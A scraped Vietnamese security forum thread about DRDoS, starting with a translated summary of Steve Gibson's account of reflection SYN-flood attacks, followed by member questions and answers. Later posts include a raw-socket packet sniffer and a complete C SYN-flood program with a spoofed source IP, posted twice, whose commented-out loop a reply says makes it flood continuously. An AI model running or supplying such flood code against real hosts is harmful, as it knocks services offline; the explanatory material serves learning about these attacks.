<![CDATA[Latest posts for the topic "DRDoS"]]> /hvaonline/posts/list/8.html JForum - http://www.jforum.net DRDoS DRDoS Distributed Reflection Denial of Service - Tấn công từ chối dịch vụ bằng phương pháp phản xạ nhiều vùng (Th3 W@tch3r) 0. Chú ý: a. Tôi cũng và tác giả của bài viết ( Steve Gibson ) không chịu trách nhiệm về hành động của các bạn khi đọc bài viết, bài viết chỉ có mục đích nâng cao kiến thức ... nếu bạn muốn thực hành thì hãy tự setup 1 server ở nhà và tấn công máy của mình. b. Bài viết được lược dịch từ gốc www.grc.com/dos/drdos.htm của tác giả Steve Gibson, tất cả credit là đều của Steve Gibson. Nếu bạn muốn 1 bản tiếng anh bạn có thể đến địa chỉ trên để tra cứu c. Mọi vấn đề xin liên hệ th3watch3rvn at Yahoo dot com 1. Giới thiệu:Vào lúc 2 giờ sáng ngày 11 - 1 - 2002, Trang web GRC.COM đã bị đánh tung khỏi Internet bằng một kiểu tấn công từ chối dịch vụ mới. Điều kinh ngạc chính là nguồn tấn công đươ.c bắt đầu bằng những đường chính của Internet, bao gồm Yahoo.com và cả những IP "gary7.nsa.gov". Chúng tôi đã bị tấn công bởi hàng trăm server mạnh nhất của internet ... Vào thời điểm chúng tôi tìm ra cách để ngăn chặn cuộc tấn công này và quay lại internet, 1 072 519 399 packet bị chặn đứng trước khi cuộc tấn công bị dừng ... Đây chính là những thông tin được Steve Gibson mô tả trong bài báo về DRDoS mà ông đã gặp ngày 11-1-2002... và bây giờ chúng ta sẽ tìm hiểu xem DRDoS là gì và cách tấn công như thế nào. 2. Sơ lược về TCP/IP: Bạn đọc thêm tại www.viethacker.info/~th3watch3rvn trong bài TCP 3-ways hanshake để biết thêm về cách TCP mở 1 phiên làm việc 3. Lợi dụng TCP: phương pháp SYN flood truyền thống: Nhiều năm trước đây, sự yếu kém của đường truyền TCP được các HĐH sử dụng đã bị các Internet's Hacker kháp phá ra và lợi dụng. Theo sơ đồ ở dưới đây, Client gửi SYN packet cho server để thông báo server chuẩn bị 1 đường truyền. Server sẽ giành 1 phần tài nguyên hệ thống như bộ nhớ đệm để nhận và truyền dữ liệu. Ngoài ra các thông tin khác của Client cũng được ghi nhận như địa chỉ IP của Client và Cổng ( Port ). Sau đó server sẽ send ngược lại SYN/ACK packet để thông báo Client là mọi thứ đã chuẩn bị và nếu như không nhận đuợc ACK packt của Client ( có thể do packet đã bị thất lạc trên đường truyền ), server sẽ tiếp tục gửi lại SYN/ACK packet cho Client. Nhưng chúng ta sẽ tiếp tục suy nghĩ tiếp. Như vậy với bất cứ 1 SYN packet đơn giản nào, Server cũng phải để 1 phần tài nguyên cho đường truyền đó, và tài nguyên của Server là có hạn và Hacker sẽ tìm mọi cách để Server đạt được cái giới hạn đó. ( Đây còn được gọi là half-open connection)
Bằng cách dùng Raw Sockets ( không phải TCP hay DUP packet ), IP gốc của packet có thể bị ghi đè lên và làm giả mạo. Khi một SYN packet với IP giả mạo được gửi đến Server, nó cũng như bao packet khác, vẫn hợp lệ đối với Server và Server sẽ cấp vùng tài nguyên cho đường truyền này, ghi nhận toàn bộ thông tin và gủi SYN/ACK packet ngược lại cho Client. Vì địa chỉ IP của Client là giả mạo nên sẽ không có Client nào nhận được SYN/ACK packet này, sau 1 thời gian không nhận được ACK packet từ Client, Server nghĩ rằng packet bị thất lạc nên lại tiếp tục gửi tiếp SYN/ACK packet, cứ như thế, connection tiếp tục mở. Nếu như Hacker tiếp tục gửi nhiều SYN packet đến Server và cuối cùng Server đã không thể tiếp nhận thêm 1 connection nào nữa : Server đã bị flood. Đây không phải là kiểu tấn công bằng đường truyền cao, bởi vì chỉ cần 1 máy tính nối internet dial up đơn giản cũng có thể tấn công kiểu này ( tất nhiên sẽ lâu hơn 1 chút ;) ) 4. Sự phát triển của cách tấn công bằng Bandwidth: a. Điều gì xảy ra trong quá trình Bandwidth attack: Không giống như cách tấn công SYN Flood, Bandwidth attack tạo 1 brute force attack từ các Server mạnh đến máy của Victim, những packet giả ồ ạt chiếm hết đường truyền của Victim làm máy Victim không thể nhận thêm 1 packet nào khác.
Như chúng ta thấy ở sơ đồ trên, tất cả packet đi vào 1 mạng máy tính qua 1 "Big-Pipe" ( ống dẫn lớn ), sau đó được router chia ra những "Small Pipe" ( ống dẫn nhỏ ) cho nhiều computer con tùy theo địa chỉ IP của packet. Nhưng nếu toàn bộ "Big-Pipe" bị flood bằng những packet chỉ hướng đến 1 computer nhất định trong mạng máy tính con này, Router đành phải chấp nhận loại bỏ phần lớn các packet để chỉ còn lại số lượng vừa đủ đi qua "Small Pipe" của computer đó. Kiểu tấn công "cá lớn nuốt cá bé" này sẽ đá văng victim ra khỏi internet... 5. DoS vs DDos ( Denial of Service Vs Distributed Deninal of Service ) DoS: Phong cách tấn công truyền thống, khi 1 computer tấn công 1 computer khác
Với kiểu tấn công này 1 máy tính có đường truyền cao có thể đánh bật các máy có đường truyền thấp hơn ra khỏi Internet DDos: Tấn công mức độ cao hơn bằng cách sử dụng đường truyền của nhiều máy tính tấn công vào 1 máy tính hay 1 mạng máy tính.
Máy tấn công ( Attack Control Machanism ) sẽ điều khiển các máy tính khác ( Zombie ) để cùng tấn công vào 1 mục tiêu duy nhất ( Target / Victim Network ) Tất cả Zombie đều có thể ở trong 1 mạng máy tính với đường truyền thấp hơn, nhưng với nhiều mạng máy tính hợp lại, cho dùng Victim có đường truyền nhanh nhất thế giới cũng sẽ bị đánh bật ra khỏi internet dễ dàng. ( Tất cả "Small Pipe" của Zombie hợp lại thành "Big Pipe" hướng đến router của victim ) Vì sự tấn công đựơc giàn đều đến các máy khác nhau trên internet nên phương pháp này được gọi là DDoS 6. DRDoS ( Distributed Reflection Denial of Service ) - Thế hệ tiếp theo của DDoS. ( Lưu ý: Trong tài liệu gốc của Steve Gibson, đoạn này sẽ kể lại cuộc tấn công DRDoS hướng vào grc.com, nhưng ở đây với mục đính thông tin, tôi chỉ tóm lược về phương pháp DRDoS, nếu bạn thích đọc về cuộc tấn công này bạn có thể tham khảo ở trang web nguồn ) Bây giờ, chúng ta hãy nhớ lại phương pháp SYN attack truyền thống của DoS, phương pháp này dựa trên bước thứ nhất để mở connection của TCP để tạo các "open half" connection làm Server bị ăn mòn hết tài nguyên. Các SYN packet được gửi trực tiếp đến Server sau khi đã giả mạo IP nguồn. IP giả mạo sẽ là 1 IP không có thật trên Internet để cho Server không thể nào hoàn thành được connection. Ta có Server A và Victim, giả sử ta gửi 1 SYN packet đến Server A trong đó IP nguồn đã bị giả mạo thành IP của Victim, bạn nghĩ chuyện gì sẽ xảy ra ??? Đúng, Server A sẽ mở 1 connection và gủi SYN/ACK packet cho Victim vì nghĩ rằng Victim muốn mở connection với mình. Và đây chính là khái niệm của Reflection ( Phản xạ ). DRDoS có thể được mô tả như sau :
Hacker sẽ điều khiển Spoof SYN generator, gửi SYN packet đến tất cả các TCP Server lớn, lúc này các TCP Server này vô tình thành Zombie cho Hacker để cùng tấn công Victim và làm nghẽn đường truyền của Victim. ]]>
/hvaonline/posts/list/156.html#545 /hvaonline/posts/list/156.html#545 GMT
DRDoS /hvaonline/posts/list/156.html#1821 /hvaonline/posts/list/156.html#1821 GMT DRDoS /hvaonline/posts/list/156.html#5312 /hvaonline/posts/list/156.html#5312 GMT DRDoS /hvaonline/posts/list/156.html#5410 /hvaonline/posts/list/156.html#5410 GMT Re: DRDoS Vào lúc 2 giờ sáng ngày 11 - 1 - 2002, Trang web GRC.COM đã bị đánh tung khỏi Internet bằng một kiểu tấn công từ chối dịch vụ mới. Điều kinh ngạc chính là nguồn tấn công đươ.c bắt đầu bằng những đường chính của Internet, bao gồm Yahoo.com và cả những IP "gary7.nsa.gov". Chúng tôi đã bị tấn công bởi hàng trăm server mạnh nhất của internet ... Vào thời điểm chúng tôi tìm ra cách để ngăn chặn cuộc tấn công này và quay lại internet, 1 072 519 399 packet bị chặn đứng trước khi cuộc tấn công bị dừng ...   Có vẻ kiểu tấn công này là lí tưởng trong thời điểm hiện nay,khả năng có một cuộc tấn công tương tư hiện nay chắc là ko có,nhất là tại VN]]> /hvaonline/posts/list/156.html#5449 /hvaonline/posts/list/156.html#5449 GMT DRDoS

Mulan wrote:
Có cần anh attach luôn cái source anh Save của Th3 W@tch3r không. Lần sau nói linh tinh anh xoá bài đấy. 
Không, he he :mrgreen: :mrgreen: Em nói đùa đấy mà. Thôi lần sau em không ăn nói linh tinh nữa. Đúng là em hay phát biểu vớ vẩn thật. he he]]>
/hvaonline/posts/list/156.html#5501 /hvaonline/posts/list/156.html#5501 GMT
DRDoS

nhatminh1209 wrote:

Mulan wrote:
Có cần anh attach luôn cái source anh Save của Th3 W@tch3r không. Lần sau nói linh tinh anh xoá bài đấy. 
Không, he he :mrgreen: :mrgreen: Em nói đùa đấy mà. Thôi lần sau em không ăn nói linh tinh nữa. Đúng là em hay phát biểu vớ vẩn thật. he he 
Giảm bớt chit chat dùm. Trong box kỹ thuật không nên í a, í ới. Cảnh cáo lần thứ nhất đấy nha.]]>
/hvaonline/posts/list/156.html#5547 /hvaonline/posts/list/156.html#5547 GMT
DRDoS /hvaonline/posts/list/156.html#12526 /hvaonline/posts/list/156.html#12526 GMT DRDoS

mrsleeping wrote:
vậy có cách nào hạn chế số lần request của server khi trở thành victim tới 1 ip để tránh tình trạng thành cấp số nhân ( server request tới 1 ip nhiều lần !) hoặc cách nào khác có thể giới hạn số ip cùng truy cập trên 1 thời điểm ! anh em nào đi trước mong chỉ giáo  
Bạn xem tại đây http://www.htmlforum.net/hvaonline/posts/list/1885.html Thân ]]>
/hvaonline/posts/list/156.html#12594 /hvaonline/posts/list/156.html#12594 GMT
Re: DRDoS /hvaonline/posts/list/156.html#13998 /hvaonline/posts/list/156.html#13998 GMT DRDoS Cho em thắc mắc một chút,nếu tất cả các package mang cờ SYN/ACK gửi tới máy victim,ở đây khoan nói đến việc đầy nghẽn "small pipe" đã,vậy máy victim sẽ xử lý như thế nào với các package này? Theo như suy luận của em thì máy victim khi nhận những package ngoài mong muốn này nó sẽ biết ko phải là của nó nên nó sẽ bỏ qua( vì trong bộ nhớ của nó đâu có hàng đợi khi truyền cờ SYN đâu).   Ở trong mục "phương pháp SYN flood truyền thống" thì SYN/ACK không phải gửi tới máy victim mà SYN/ACK ở đây là từ victim (server đang bị flood) gửi tới một địa chỉ ma. Và vì đây là địa chỉ ma (dù có hay không) thì mục đích của chúng ta đang là flood server: ---->
Server nghĩ rằng packet bị thất lạc nên lại tiếp tục gửi tiếp SYN/ACK packet, cứ như thế, connection tiếp tục mở. Nếu như Hacker tiếp tục gửi nhiều SYN packet đến Server và cuối cùng Server đã không thể tiếp nhận thêm 1 connection nào nữa : Server đã bị flood.  
]]>
/hvaonline/posts/list/156.html#14059 /hvaonline/posts/list/156.html#14059 GMT
Re: DRDoS /hvaonline/posts/list/156.html#14228 /hvaonline/posts/list/156.html#14228 GMT Re: DRDoS

delay wrote:
Cho em thắc mắc một chút,nếu tất cả các package mang cờ SYN/ACK gửi tới máy victim,ở đây khoan nói đến việc đầy nghẽn "small pipe" đã,vậy máy victim sẽ xử lý như thế nào với các package này? Theo như suy luận của em thì máy victim khi nhận những package ngoài mong muốn này nó sẽ biết ko phải là của nó nên nó sẽ bỏ qua( vì trong bộ nhớ của nó đâu có hàng đợi khi truyền cờ SYN đâu). Như vậy vấn để ở đây có phải cách tấn công này đá văng máy victim ra khỏi internet là do đường truyền bị chiếm dụng không anh? Và nếu đúng như vậy thì cách tấn công này phải ánh xạ từ những server cực mạnh và số lượng lớn thì mới có tác dụng chứ hả anh Mulan? 
Không phải hệ điều hành nào cũng xử lý các gói SYN/ACK gọn gàng và nhanh chóng (bỏ qua) được. Hơn nữa, để "bỏ qua", hệ điều hành vẫn phải xác minh nó là cái gì rồi mới "bỏ qua" và làm như thế vẫn hao tổn tài nguyên. Nếu số lượng SYN/ACK đi vào quá nhiều, nó vẫn có thể dung hoà (saturate) đường dẫn khiến cho các truy cập khác không thể nào đến được máy của nạn nhân. Tấn công "ánh xạ" này không cần phải đi từ những server cực mạnh mà chỉ cần gởi càng nhiều spoofed packets đến các routers càng tốt để chúng dội ngược lại nạn nhân.]]>
/hvaonline/posts/list/156.html#14262 /hvaonline/posts/list/156.html#14262 GMT
DRDoS /hvaonline/posts/list/156.html#206386 /hvaonline/posts/list/156.html#206386 GMT DRDoS /hvaonline/posts/list/156.html#206732 /hvaonline/posts/list/156.html#206732 GMT DRDoS /hvaonline/posts/list/156.html#208510 /hvaonline/posts/list/156.html#208510 GMT DRDoS

graycap wrote:
cái này thì mình biết rồi nhưng cách thực hiện nó mới là điều quan trọng ??? B-) anh nào pro cho em hỏi 2 vấn đề liên quan đến nó 1>dùng cộng cụ nào để giả mạo thành ip của victim B-) 2>gửi một gói đến sever như thế nào<tcp/ip em chưa biết gì cả mong mấy anh chỉ cho và học nó ở trang nào> B-) 
Câu phát biểu mâu thuẩn thật sự. Góp ý về sự nâng câu hiểu biết bằng cách siêng năng đọc diễn đàn. Đọc "Ở đâu" thì nên bắt đầu (hoặc nếu không muốn bắt đầu) tìm hiểu phòng đọc và "cứ ngồi mà đọc để biết những gì mình không biết".]]>
/hvaonline/posts/list/156.html#208513 /hvaonline/posts/list/156.html#208513 GMT
DRDoS /hvaonline/posts/list/156.html#208782 /hvaonline/posts/list/156.html#208782 GMT DRDoS

graycap wrote:
đọc cai gì mà đọc hả ông anh mấy cái liên quan đến cái này máy ông amid không cho phép post đâu ông anh ak <đọc bằng niềm tin> :-) 
Ai bảo cậu là mấy admin ko cho phép post. vấn đề là không có ai thèm post thôi. vì post ra rồi lại có thêm mấy cu cậu script kiddie mang ra nghịch ngợm linh tinh rồi chẳng đâu vào đâu. vì nếu mà ở mục đích hiểu biết thì người ta sẽ tự đọc sách và tìm hiểu lấy chứ không có time lên hỏi dùng tool nào để giả mạo ip hay là làm thế nào để gửi request đến server. tôi thấy cậu nên tìm cái quyển sách nào mà ngồi đọc thì hay hơn là suốt ngày lượn quanh mấy cái 2pic DrDos rồi post những bài kiểu này.]]>
/hvaonline/posts/list/156.html#208787 /hvaonline/posts/list/156.html#208787 GMT
DRDoS Code:
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<features.h>
#include<linux/if_packet.h>
#include<linux/if_ether.h>
#include<errno.h>
#include<sys/ioctl.h>
#include<net/if.h>


int CreateRawSocket(int protocol_to_sniff)
{
	int rawsock;

	if((rawsock = socket(PF_PACKET, SOCK_RAW, htons(protocol_to_sniff)))== -1)
	{
		perror("Error creating raw socket: ");
		exit(-1);
	}

	return rawsock;
}

int BindRawSocketToInterface(char *device, int rawsock, int protocol)
{
	
	struct sockaddr_ll sll;
	struct ifreq ifr;

	bzero(&sll, sizeof(sll));
	bzero(&ifr, sizeof(ifr));
	
	/* First Get the Interface Index  */


	strncpy((char *)ifr.ifr_name, device, IFNAMSIZ);
	if((ioctl(rawsock, SIOCGIFINDEX, &ifr)) == -1)
	{
		printf("Error getting Interface index !\n");
		exit(-1);
	}

	/* Bind our raw socket to this interface */

	sll.sll_family = AF_PACKET;
	sll.sll_ifindex = ifr.ifr_ifindex;
	sll.sll_protocol = htons(protocol); 


	if((bind(rawsock, (struct sockaddr *)&sll, sizeof(sll)))== -1)
	{
		perror("Error binding raw socket to interface\n");
		exit(-1);
	}

	return 1;
	
}

void PrintPacketInHex(unsigned char *packet, int len)
{
	unsigned char *p = packet;

	printf("\n\n---------Packet---Starts----\n\n");
	
	while(len--)
	{
		printf("%.2x ", *p);
		p++;
	}

	printf("\n\n--------Packet---Ends-----\n\n");

}


main(int argc, char **argv)
{
	int raw;
	unsigned char packet_buffer[2048]; 
	int len;
	int packets_to_sniff;
	struct sockaddr_ll packet_info;
	int packet_info_size = sizeof(packet_info);

	/* create the raw socket */

	raw = CreateRawSocket(ETH_P_IP);

	/* Bind socket to interface */

	BindRawSocketToInterface(argv[1], raw, ETH_P_IP);

	/* Get number of packets to sniff from user */

	packets_to_sniff = atoi(argv[2]);

	/* Start Sniffing and print Hex of every packet */
	
	while(packets_to_sniff--)
	{
		if((len = recvfrom(raw, packet_buffer, 2048, 0, (struct sockaddr*)&packet_info, &packet_info_size)) == -1)
		{
			perror("Recv from returned -1: ");
			exit(-1);
		}
		else
		{
			/* Packet has been received successfully !! */

			PrintPacketInHex(packet_buffer, len);
		}
	}
	
	
	return 0;
}
]]>
/hvaonline/posts/list/156.html#208840 /hvaonline/posts/list/156.html#208840 GMT
DRDoS Code:
/*
	Syn Flood DOS with LINUX sockets
*/
#include<stdio.h>
#include<netinet/tcp.h>	//Provides declarations for tcp header
#include<netinet/ip.h>	//Provides declarations for ip header

typedef struct pseudo_header    //needed for checksum calculation
{
	unsigned int source_address;
	unsigned int dest_address;
	unsigned char placeholder;
	unsigned char protocol;
	unsigned short tcp_length;
	//char tcp[28];
	struct tcphdr tcp;
};

unsigned short csum(unsigned short *ptr,int nbytes) {
	register long sum;
	unsigned short oddbyte;
	register short answer;

	sum=0;
	while(nbytes>1) {
		sum+=*ptr++;
		nbytes-=2;
	}
	if(nbytes==1) {
		oddbyte=0;
		*((u_char*)&oddbyte)=*(u_char*)ptr;
		sum+=oddbyte;
	}

	sum = (sum>>16)+(sum & 0xffff);
	sum = sum + (sum>>16);
	answer=(short)~sum;

	return(answer);
}

int main (void)
{
	//Create a raw socket
	int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
	//Datagram to represent the packet
	char datagram[4096];
	//IP header
	struct iphdr *iph = (struct iphdr *) datagram;
	//TCP header
	struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
	struct sockaddr_in sin;
	struct pseudo_header psh;

	sin.sin_family = AF_INET;
	sin.sin_port = htons(80);
	sin.sin_addr.s_addr = inet_addr ("1.2.3.4");

	memset (datagram, 0, 4096);	/* zero out the buffer */

	//Fill in the IP Header
	iph->ihl = 5;
	iph->version = 4;
	iph->tos = 0;
	iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
	iph->id = htonl (54321);	//Id of this packet
	iph->frag_off = 0;
	iph->ttl = 255;
	iph->protocol = IPPROTO_TCP;
	iph->check = 0;		//Set to 0 before calculating checksum
	iph->saddr = inet_addr ("192.168.1.2");	//Spoof the source ip address
	iph->daddr = sin.sin_addr.s_addr;

	iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

	//TCP Header
	tcph->source = htons (1234);
	tcph->dest = htons (80);
	tcph->seq = 0;
	tcph->ack_seq = 0;
	tcph->doff = 5;		/* first and only tcp segment */
	tcph->fin=0;
	tcph->syn=1;
	tcph->rst=0;
	tcph->psh=0;
	tcph->ack=0;
	tcph->urg=0;
	tcph->window = htons (5840);	/* maximum allowed window size */
	tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
				should fill in the correct checksum during transmission */
	tcph->urg_ptr = 0;
	//Now the IP checksum

	psh.source_address = inet_addr("192.168.1.2");
	psh.dest_address = sin.sin_addr.s_addr;
	psh.placeholder = 0;
	psh.protocol = IPPROTO_TCP;
	psh.tcp_length = htons(20);

	memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));

	tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));

	//IP_HDRINCL to tell the kernel that headers are included in the packet
	{
		int one = 1;
		const int *val = &one;
		if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
			printf ("Warning: Cannot set HDRINCL!n");
	}

	//while (1)
	//{
		//Send the packet
		if (sendto (s,		/* our socket */
					datagram,	/* the buffer containing headers and data */
					iph->tot_len,	/* total length of our datagram */
					0,		/* routing flags, normally always 0 */
					(struct sockaddr *) &sin,	/* socket addr, just like in */
					sizeof (sin)) < 0)		/* a normal send() */

			printf ("errorn");
		//Data send successfully
		else
			printf (".");
	//}

	return 0;
}
]]>
/hvaonline/posts/list/156.html#208843 /hvaonline/posts/list/156.html#208843 GMT
DRDoS /hvaonline/posts/list/156.html#208851 /hvaonline/posts/list/156.html#208851 GMT DRDoS

graycap wrote:
nếu mà tìm được sách thì đã không phải ngồi hỏi như thế này mất thời gian B-) B-) B-) B-) 
Sự thiếu(hoặc có khi chẳng biết) về TCP/IP cộng với các kiến thức lập trình và cấu trúc hệ thống thông tin dẫn tới chuyện chẳng biết đọc cái gì cũng như chẳng biết kiếm cái gì để đọc. Thực tế nó vậy, đừng có than làm gì cho mệt. B-) ]]>
/hvaonline/posts/list/156.html#208854 /hvaonline/posts/list/156.html#208854 GMT
DRDoS /hvaonline/posts/list/156.html#226799 /hvaonline/posts/list/156.html#226799 GMT DRDoS

congthang_9x wrote:
Chào các bro. các bro mạn phép cho em hỏi. trong quá trình tấn công SYN thì theo như em nghĩ là nó chỉ là sự kết hợp giữa quá trình bắt tay 3 bước trong phiên TCP/IP. 1 máy chủ tấn công 1 victim thì mình nên liệt vào cho hắn là D-Dos hoặc Dos thôi chứ nếu liệt vào DrDos thì có hơi quá ko? hơn nữa nếu SYN đc liệt vào 1 trong những hình thức tấn công DrDos thì kiểu tấn công Smurf Attack thì thế nào? em nhận thấy kiểu tấn công này còn mạnh hơn cả SYN vì nó phát gói tin cho tất cả các máy cùng trả lời 1 lúc. Các bro thông cảm cho những câu hỏi gà của em ở trên.. :D rất mong các bro giúp đỡ. thank 
==> Bạn đọc kỹ lại bài viết của anh Mulan để hiểu rõ hơn. SYN attack là một kỹ thuật dùng trong tấn công DOS/DDOS ==> Smuff attack cũng là một hình thức tấn công DDOS dùng gói tin ICMP, muốn cuộc tấn công hiệu quả thì đòi hỏi "mạng khuếch đại" đủ lớn. Tuy nhiên nếu các router trên mạng tắt chức năng Directed Broadcast thì dạng tấn công này không hiệu quả, chưa kể các firewall thường chặn các gói tin ICMP. Vì thế hình thức tấn công này không còn phổ biến. - Ky0 - ]]>
/hvaonline/posts/list/156.html#226808 /hvaonline/posts/list/156.html#226808 GMT
DRDoS /hvaonline/posts/list/156.html#226868 /hvaonline/posts/list/156.html#226868 GMT DRDoS

Ky0 wrote:
==> Bạn đọc kỹ lại bài viết của anh Mulan để hiểu rõ hơn. SYN attack là một kỹ thuật dùng trong tấn công DOS/DDOS ==> Smuff attack cũng là một hình thức tấn công DDOS dùng gói tin ICMP, muốn cuộc tấn công hiệu quả thì đòi hỏi "mạng khuếch đại" đủ lớn. Tuy nhiên nếu các router trên mạng tắt chức năng Directed Broadcast thì dạng tấn công này không hiệu quả, chưa kể các firewall thường chặn các gói tin ICMP. Vì thế hình thức tấn công này không còn phổ biến. - Ky0 -  
Cảm ơn bác Kyo. nhưng bác cho em hỏi thêm 1 câu nữa là trong tấn công drdos thì em thấy kiểu tấn công đó rất giống với Smuff attack ở trên.
Vậy bác cho em hỏi là giữa 2 cái này cách thức nó khác nhau như thế nào? em thấy cả 2 cái đều gửi gói tin ICMP cả mà. mong bác giải thick giùm em. chân thành cảm ơn]]>
/hvaonline/posts/list/156.html#226925 /hvaonline/posts/list/156.html#226925 GMT
DRDoS

congthang_9x wrote:
Vậy bác cho em hỏi là giữa 2 cái này cách thức nó khác nhau như thế nào? em thấy cả 2 cái đều gửi gói tin ICMP cả mà. mong bác giải thick giùm em. chân thành cảm ơn 
Việc DDoS đâu nhất thiết phải dùng gói tin ICMP, ICMP chỉ là 1 dạng gói tin "đặc biệt" sử dụng trong truyền tải mạng thôi Em tìm hiểu thêm về 3-way Handshake TCP để hiểu hơn về DRDoS em nhé :) ví dụ: http://www.inetdaemon.com/tutorials/internet/tcp/3-way_handshake.shtml còn muốn một tài liệu tiếng Việt thì em ráng lục trong HVA cũng có vài chủ đề thảo luận rất sâu về vấn đề này ]]>
/hvaonline/posts/list/156.html#226926 /hvaonline/posts/list/156.html#226926 GMT
DRDoS

anpha wrote:
Em post nhầm code. Cái này cơ, xin lỗi vì chức năng sửa bài không hoặt động cho members Code:
/*
	Syn Flood DOS with LINUX sockets
*/
#include<stdio.h>
#include<netinet/tcp.h>	//Provides declarations for tcp header
#include<netinet/ip.h>	//Provides declarations for ip header

typedef struct pseudo_header    //needed for checksum calculation
{
	unsigned int source_address;
	unsigned int dest_address;
	unsigned char placeholder;
	unsigned char protocol;
	unsigned short tcp_length;
	//char tcp[28];
	struct tcphdr tcp;
};

unsigned short csum(unsigned short *ptr,int nbytes) {
	register long sum;
	unsigned short oddbyte;
	register short answer;

	sum=0;
	while(nbytes>1) {
		sum+=*ptr++;
		nbytes-=2;
	}
	if(nbytes==1) {
		oddbyte=0;
		*((u_char*)&oddbyte)=*(u_char*)ptr;
		sum+=oddbyte;
	}

	sum = (sum>>16)+(sum & 0xffff);
	sum = sum + (sum>>16);
	answer=(short)~sum;

	return(answer);
}

int main (void)
{
	//Create a raw socket
	int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
	//Datagram to represent the packet
	char datagram[4096];
	//IP header
	struct iphdr *iph = (struct iphdr *) datagram;
	//TCP header
	struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
	struct sockaddr_in sin;
	struct pseudo_header psh;

	sin.sin_family = AF_INET;
	sin.sin_port = htons(80);
	sin.sin_addr.s_addr = inet_addr ("1.2.3.4");

	memset (datagram, 0, 4096);	/* zero out the buffer */

	//Fill in the IP Header
	iph->ihl = 5;
	iph->version = 4;
	iph->tos = 0;
	iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
	iph->id = htonl (54321);	//Id of this packet
	iph->frag_off = 0;
	iph->ttl = 255;
	iph->protocol = IPPROTO_TCP;
	iph->check = 0;		//Set to 0 before calculating checksum
	iph->saddr = inet_addr ("192.168.1.2");	//Spoof the source ip address
	iph->daddr = sin.sin_addr.s_addr;

	iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

	//TCP Header
	tcph->source = htons (1234);
	tcph->dest = htons (80);
	tcph->seq = 0;
	tcph->ack_seq = 0;
	tcph->doff = 5;		/* first and only tcp segment */
	tcph->fin=0;
	tcph->syn=1;
	tcph->rst=0;
	tcph->psh=0;
	tcph->ack=0;
	tcph->urg=0;
	tcph->window = htons (5840);	/* maximum allowed window size */
	tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
				should fill in the correct checksum during transmission */
	tcph->urg_ptr = 0;
	//Now the IP checksum

	psh.source_address = inet_addr("192.168.1.2");
	psh.dest_address = sin.sin_addr.s_addr;
	psh.placeholder = 0;
	psh.protocol = IPPROTO_TCP;
	psh.tcp_length = htons(20);

	memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));

	tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));

	//IP_HDRINCL to tell the kernel that headers are included in the packet
	{
		int one = 1;
		const int *val = &one;
		if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
			printf ("Warning: Cannot set HDRINCL!n");
	}

	//while (1)
	//{
		//Send the packet
		if (sendto (s,		/* our socket */
					datagram,	/* the buffer containing headers and data */
					iph->tot_len,	/* total length of our datagram */
					0,		/* routing flags, normally always 0 */
					(struct sockaddr *) &sin,	/* socket addr, just like in */
					sizeof (sin)) < 0)		/* a normal send() */

			printf ("errorn");
		//Data send successfully
		else
			printf (".");
	//}

	return 0;
}
 
nếu mình ko nhầm thì cái code này bạn lấy ở site binarytides.com link day http://www.binarytides.com/blog/syn-flood-dos-attack/ cái này sẽ send một SYN packet đến server nào đó với invalid source IP , xài raw socket để tạo ra packet . khi uncomment vòng lặp while thì nó sẽ send packet liên tục hay còn gọi là flood đó xài wireshark capture thấy cũng flood điên cuồng lắm nhưng ko biết bên server thế nào , mình nghĩ cái này để học thôi chứ chắc ko flood đc ai đâu :D]]>
/hvaonline/posts/list/156.html#253580 /hvaonline/posts/list/156.html#253580 GMT